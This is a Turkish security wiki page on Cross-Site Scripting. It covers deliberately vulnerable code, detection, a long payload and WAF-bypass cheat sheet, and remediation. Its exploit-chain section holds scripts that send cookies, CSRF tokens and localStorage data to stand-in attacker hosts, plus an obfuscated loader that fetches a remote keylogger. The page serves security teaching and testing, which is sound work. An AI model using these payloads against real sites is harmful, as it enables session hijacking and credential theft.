AltaySec Wiki Cross-Site Scripting (XSS)   ·   AltaySec Araştırmalar

Cross-Site Scripting (XSS)

root@altaysec:~# whoami
> Yazar: Yaren Daşpınar

Cross-Site Scripting (XSS), modern web uygulamalarının en kritik ve yaygın güvenlik zafiyetlerinden biridir. Özünde bir "İstemci Tarafı Kod Enjeksiyonu" (Client-Side Code Injection) olan bu zafiyet, saldırganın hedef kullanıcının tarayıcısında (browser) genellikle JavaScript olmak üzere, HTML, VBScript, ActiveX veya Flash gibi dillerde zararlı kodlar çalıştırmasına olanak tanır.

Siber güvenlik ve Red Team operasyonlarındaki stratejik değeri muazzamdır. XSS, Same-Origin Policy (SOP) mekanizmasını atlatarak, saldırganın kurbanın oturumunu (session) çalmasına, kurban adına yetkili işlemler yapmasına (CSRF bypass), hassas verileri (şifreler, kredi kartı bilgileri, PII) sızdırmasına veya yerel ağda keşif yapmasına (Intranet Port Scanning) zemin hazırlar. Modern web mimarilerinde (SPA'lar, Angular, React, Vue gibi framework'ler), istemci tarafı mantığının (client-side logic) artmasıyla DOM tabanlı XSS türevleri, sunucu tarafı kontrollerinden tamamen bağımsız olarak gerçekleşebilen karmaşık saldırı zincirlerinin (exploit chains) kalbini oluşturmaktadır.

How It Works (Teknik Analiz)

XSS zafiyetinin kök nedeni (root cause), uygulamanın kullanıcıdan veya dış bir kaynaktan (API, veritabanı, DOM kaynakları) aldığı "güvenilmeyen" veriyi (untrusted data), tarayıcıya geri yansıtırken (reflection) veya DOM'a işlerken, veri (data) ile çalıştırılabilir kod (executable code) arasındaki bağlamı (context) izole etmemesidir.

Tarayıcı Motoru ve AST (Abstract Syntax Tree) Düzeyinde İşleyiş: Tarayıcılar (Chrome'un V8'i, Firefox'un SpiderMonkey'i), sunucudan gelen HTML yanıtını alır ve bir Lexer (sözcüksel analizör) aracılığıyla Token'lara (tag, attribute, text) böler. Bu token'lar kullanılarak DOM (Document Object Model) ağacı inşa edilir. Eğer sunucu tarafında < veya > gibi meta-karakterler HTML Entity formatına (&lt;, &gt;) dönüştürülmezse (Output Encoding eksikliği), Lexer kullanıcının girdiği girdiyi saf metin (text node) yerine yeni bir HTML elementi veya bir elementin çalıştırılabilir bir niteliği (attribute - örn: onload, onerror) olarak yorumlar. Lexer'ın bu manipülasyonu, tarayıcının JS motorunu tetikler ve enjekte edilen payload, kurbanın origin'i bağlamında (context) çalıştırılır.

Vulnerable Code Patterns

1. PHP (Reflected XSS)

<?php
// Kullanıcı girdisi doğrudan filtrelemesiz HTML içine yazılıyor
$search_query = $_GET['q'];
// ZAFİYET: echo doğrudan XSS'e neden olur. htmlspecialchars() kullanılmamıştır.
echo "<h1>Arama Sonuçları: " . $search_query . "</h1>"; 
?>

2. Java/Spring (Stored XSS)

// Veritabanından gelen kullanıcı yorumu JSP sayfasında encode edilmeden render ediliyor
String userComment = database.getComment(id);
// ZAFİYET: C:out veya JSTL escapeXml=true kullanılmamış
out.println("<div class='comment'>" + userComment + "</div>");

3. JavaScript / Node.js tabanlı DOM XSS (innerHTML Sink)

// URL'den hash veya search parametresi alınıp doğrudan DOM'a aktarılıyor (Sink: innerHTML)
let params = new URLSearchParams(window.location.search);
let name = params.get('name');
// ZAFİYET: innerHTML DOM Parser'ı tetikler ve HTML tag'lerini işler
document.getElementById("greeting").innerHTML = "Merhaba, " + name;

4. AngularJS (Client-Side Template Injection / XSS)

<div ng-app>
  <strong class="ng-init:constructor.constructor('alert(1)')()">Kullanıcı Girdisi</strong>
</div>

Detection & Enumeration (Keşif ve Analiz)

XSS keşfi, hedefin girdileri nasıl işlediğini ve yansıttığını haritalamayı gerektirir. Temel keşif metodolojisi şöyledir:

  1. Benzersiz Fuzzing Değerleri (Canary Tokens): Hedefteki tüm entry point'lere (parametreler, path'ler, header'lar, cookie'ler) xss7x veya xss"<' gibi benzersiz ve arama yapması kolay string'ler gönderilir.
  2. Context Çıkarımı (Context Inference): Gönderilen değer tarayıcı araçlarıyla (DevTools) DOM'da aranır. Girdinin nerede yansıdığı kritik önem taşır:
    • HTML tag'leri arasında mı? (<div>xss7x</div>)
    • HTML attribute değeri içinde mi? (<input value="xss7x">)
    • JavaScript bloğu içinde mi? (var a = "xss7x";)
  3. Karakter Testi (Symbol Filtering): Hangi karakterlerin filtrelenmediği veya encode edilmediği tespit edilir: < > " ' ; / \ =
  4. Hata Tabanlı ve Davranışsal Analiz: WAF/Filtre kurallarını anlamak için kademeli olarak payload gönderilir. Örneğin, <script> filtreleniyor ama <img> filtrelenmiyor olabilir. Davranışsal olarak, DevTools Network ve Console sekmelerindeki CSP (Content Security Policy) ihlal hataları incelenir.

Attack Vectors & Exploitation (İstismar Vektörleri)

Reflected XSS (Non-Persistent)

Payload, kurbanın tıkladığı URL üzerinden sunucuya gider ve sunucunun anlık HTTP yanıtında geri döner (yansır). Genellikle Phishing veya oltalama e-postaları ile kurbana tıklatılır. Veri hiçbir veritabanına kaydedilmez.

Stored XSS (Persistent)

Saldırganın payload'u hedefin veritabanına veya loglarına kaydedilir (örn: Forum yorumları, profil bilgileri, destek biletleri). Bu XSS türü, sayfayı ziyaret eden her kullanıcının tarayıcısında tetiklendiği için en tehlikeli olanıdır. Otonom olarak yayılabilen XSS Worm'ları bu vektör üzerine inşa edilir.

DOM-Based XSS

Zafiyet tamamen istemci tarafındadır (Client-side). Sunucu bazen payload'u hiç görmez (örneğin URL Fragment # kısmındaki payload'lar tarayıcı tarafından sunucuya gönderilmez). Veri, saldırgan kontrolündeki bir Source'tan (kaynak) başlar ve tehlikeli bir JS fonksiyonu olan Sink'e (hedef) ulaşır.

DOM Clobbering

Global değişkenlerin (window özellikleri) id veya name niteliklerine sahip DOM elementleri ile manipüle edilmesidir. Örneğin, window.adminConfig değerini referans alan bir JS mantığını, <a id=adminConfig href="javascript:alert(1)"> tag'i ekleyerek değiştirebiliriz. Kod, güvenilir zannettiği değişkeni bizim manipüle ettiğimiz HTML elementi olarak okur ve çalıştırır.

Dangling Markup Injection

XSS engellenmiş ancak HTML enjeksiyonu engellenmemişse kullanılır. Kapatılmamış bir etiket (örneğin <img src="http://attacker.com/?leak=) eklenerek, tarayıcının sonraki HTML içeriğini (örneğin sayfanın alt kısmındaki CSRF token'ı) attribute değeri olarak okuması ve saldırganın sunucusuna göndermesi sağlanır.

Mutation XSS (mXSS)

Saldırgan tarafından sağlanan "zararsız" görünen ancak tarayıcının DOM ağacını onarırken veya innerHTML kullanarak okuyup/yazarken mutasyona uğratarak (parsing quirks) zararlı bir HTML etiketine dönüştürdüğü (örneğin WAF'ı atlatan SVG veya MathML yapıları) XSS türüdür.

Payloads & Advanced Commands

Bu bölümde bağlama (context) ve filtrelere göre özel olarak seçilmiş ileri düzey komutlar bulunmaktadır.

HTML Context Payloads

Girdiniz doğrudan HTML etiketleri arasına düştüğünde (örn: <p>BURAYA</p>) kullanılır.

<script>alert(document.domain)</script>
<img src="x" onerror="alert(document.cookie)">
<svg onload=alert(1)>
<iframe src="javascript:alert(1)"></iframe>
<body onload=alert(1)>
<style onload=alert(1)></style>
<math><mi xlink:href="data:x,<script>alert(1)</script>"></mi></math>
<svg><x><script>alert(1)</script></x></svg>

Attribute Context Payloads

Girdiniz bir etiketin niteliği (attribute) içine düştüğünde (örn: <input value="BURAYA">).

"><script>alert(1)</script>
"><img src=x onerror=alert(1)>

" autofocus onfocus=alert(1) x="
" onmouseover=alert(1) x="
" onmouseenter=alert(1) x="

alert(1)
javascript:alert(1)

JavaScript Context Payloads

Girdiniz JavaScript bloklarının veya değişkenlerinin arasına düştüğünde (örn: <script>var a = 'BURAYA';</script>).

// String'den çıkma
'-alert(1)-'
';alert(1);//
\';alert(1);//

// String oluşturmadan çalıştırma (String.fromCharCode bypass)
eval(String.fromCharCode(97,108,101,114,116,40,49,41))

// Template Literals (Girdi ` ` backtick arasındaysa)
${alert(1)}

// JavaScript kodundan tamamen çıkıp HTML yorumlamak
</script><svg onload=alert(1)>

Advanced HTML5 & Exotic Event Handlers

Standart onload veya onerror engellendiğinde kullanılabilen, kullanıcı etkileşimi az veya sıfır olan gelişmiş etiketler ve olay dinleyicileri.

<button popovertarget=x>Click me</button><a onbeforetoggle=alert(1) popover id=x>XSS</a>

<body onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><span id=x>test</span></body>

<style>:target {color: red;}</style><a id=x style="transition:color 10s" ontransitioncancel=alert(1)>XSS</a>

<style>@keyframes slidein {}</style><div style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></div>

<div draggable="true" contenteditable>drag me</div><a ondrop=alert(1) contenteditable style=display:block>drop here</a>

<details ontoggle=alert(1) open>test</details>

Protocol-Based Payloads

href, src, data, formaction gibi URL bekleyen alanlar kontrol ediliyorsa.

<a href="javascript:alert(1)">Tıkla</a>
<form action="javascript:alert(1)"><button>Gönder</button></form>
<object data="javascript:alert(1)">
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></iframe>
<a href="data:text/html;charset=UTF-8,<script>alert(1)</script>">Tıkla</a>

Exfiltration & Advanced Exploit Chains

Sadece uyarı ekranı (alert) çıkarmak yerine, Red Team operasyonlarında gerçek etkiyi (impact) göstermek için kullanılan veri sızdırma betikleri.

// 1. Session Cookie Hırsızlığı (HttpOnly değilse)
var i = new Image(); 
i.src = "http://attacker.com/log.php?cookie=" + btoa(document.cookie);

// 2. DOM İçeriğinden CSRF Token Okuma ve Sızdırma
var token = document.getElementsByName('csrf_token')[0].value;
fetch('http://attacker.com/steal?token=' + token);

// 3. Keylogger Yükleme (Giriş Formlarındaki Şifreleri Çalmak için)
// WAF kısıtlaması nedeniyle payload attribute içine sıkıştırılır ve harici JS çağrılır.
// $.getScript kullanılır.
onfocus="(history.length);const url=String.fromCharCode(104,116,116,112,115,58,47,47,97,116,116,97,99,107,101,114,46,116,108,100,47,107,101,121,108,111,103,103,101,114,46,106,115);$.getScript(url),function(){}"

// 4. LocalStorage Hırsızlığı (Özellikle Bot/Automation Flow ataklarında)
fetch('https://webhook.site/xss?flag=' + encodeURIComponent(localStorage.getItem('flag')))

CSS Gadgets & Invisible Overlays

XSS tetikleyicisini sayfanın tamamına görünmez olarak yaymak ve kullanıcının sayfaya tıkladığı anda payload'u çalıştırmak için.

<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>

<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>

Bypass & Obfuscation (Atlatma Teknikleri)

Gelişmiş IDS/IPS ve WAF sistemlerini atlatmak için payload formlarının bozulması ve farklı formatlarda kodlanması (encoding) gerekir.

Case Toggling & Spacing Bypasses

<ScRiPt>alert(1)</sCrIpT>
<img/src="x"/onerror=alert(1)>
<svg%0Aonload=alert(1)>
<svg onload%09=alert(1)>

Multiple Encoding

Özellikle Attribute içi XSS saldırılarında, tarayıcı HTML niteliklerini render etmeden önce otomatik olarak HTML decode eder. Bu davranış WAF'ları kör eder.

<a href="javascript:var a='&apos;-alert(1)-&apos;'">a</a>

<a href="javascript:var a='&#x27;-alert(1)-&#x27;'">a</a>

<a href="javascript:%61%6c%65%72%74%28%31%29">Click</a>

Unicode & Hex/Octal Escapes in JS Context

Eğer alert kelimesi kara listeye alınmışsa, JavaScript motorunun Unicode kaçış karakterlerini (escape sequences) okuyabilmesi özelliğinden faydalanılır.

// Unicode Bypass
\u0061lert(1)
\u0061\u006C\u0065\u0072\u0074(1)
\u{61}\u{6C}\u{65}\u{72}\u{74}(1) // ES6 Syntax

// Hex / Octal (javascript: protokolünde çalışır)
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />

WAF Filter Breakdown Mechanisms

<scr<script>ipt>alert(1)</script>

<iframe SRC="javascript:alert('XSS');" <

<img src=x onerror=alert`1`>

?returnUrl=javascript:alert(document.domain)

Remediation & Prevention (Önleme ve Savunma)

Zafiyetin kökünden çözülmesi, derinlemesine savunma (Defense-in-Depth) prensibine dayanır:

  1. Context-Aware Output Encoding (Bağlama Duyarlı Kodlama): En kritik adımdır. Veri HTML'de yansıyorsa HTML Entity encoding (&lt;, &gt;), JavaScript değişkeninde yansıyorsa Unicode Hex Encoding uygulanmalıdır.
    • PHP: htmlentities($input, ENT_QUOTES, 'UTF-8');
    • JavaScript: document.body.textContent = untrustedValue; (Asla innerHTML kullanılmamalıdır).
  2. Strict Input Validation (Katı Girdi Doğrulama): Kara liste (Blacklist) yerine, kesinlikle Beyaz Liste (Whitelist/Allowlist) kullanılmalıdır. Beklenen veri türü (örn. sadece rakamlar) katı bir şekilde kontrol edilmelidir.
  3. Content Security Policy (CSP): XSS gerçekleşse bile saldırganın harici bir script yüklemesini veya satıriçi (inline) JS çalıştırmasını engeller.
    • Örnek Header: Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-12345'; object-src 'none';
  4. HTML Sanitization: Kullanıcının HTML girmesine izin verilmesi zorunlu bir iş gereksinimi ise (örn: Blog editörü), arka planda regex ile filtrelemek yerine DOMPurify gibi endüstri standardı ve Mutation XSS (mXSS)'e dayanıklı saniter kütüphaneler kullanılmalıdır.
  5. Modern Framework'ler Kullanmak: React, Angular ve Vue.js varsayılan olarak değişken bağlamalarında (örn: {user.name}) output encoding uygular. Geliştiricilerin bu yapıları delip veriyi doğrudan DOM'a aktaran dangerouslySetInnerHTML gibi tehlikeli özellikleri kullanmaktan kaçınması sağlanmalıdır.

Common Tools & Frameworks

Araç Fonksiyon Komut Örneği
Burp Suite Pro Otomatize Reflected/Stored XSS taraması ve Active Scan (Kullanıcı Arayüzü / Active Scan)
DOM Invader Burp Suite eklentisi. İstemci tarafındaki Source ve Sink'leri dinamik haritalar. (Burp Browser üzerinden etkinleştirme)
XSStrike Gelişmiş XSS tarama aracı. Akıllı fuzzing, WAF bypass ve payload analizi. xsstrike -u "http://target.com/page?q=test"
Dalfox Parametre analizi, XSS chain oluşturma, hızlı ve parametre odaklı tarayıcı. dalfox url "http://target.com/?q=test"
XSS Hunter Kapsamlı XSS keşif aracı. Otomatik DOM analizi ve payload üretimi. xsshunter -u "http://target.com"
DOMPurify XSS ataklarını istemci tarafında engellemek için HTML sanitasyon kütüphanesi. let cleanHTML = DOMPurify.sanitize(dirty);

Yazar: Yaren Daşpınar · AltaySec Wiki — Türkçe güvenlik playbook'u.

← Tüm modüller (interaktif wiki) · Yapay zekâ güvenliği araştırmaları · AltaySec Arşiv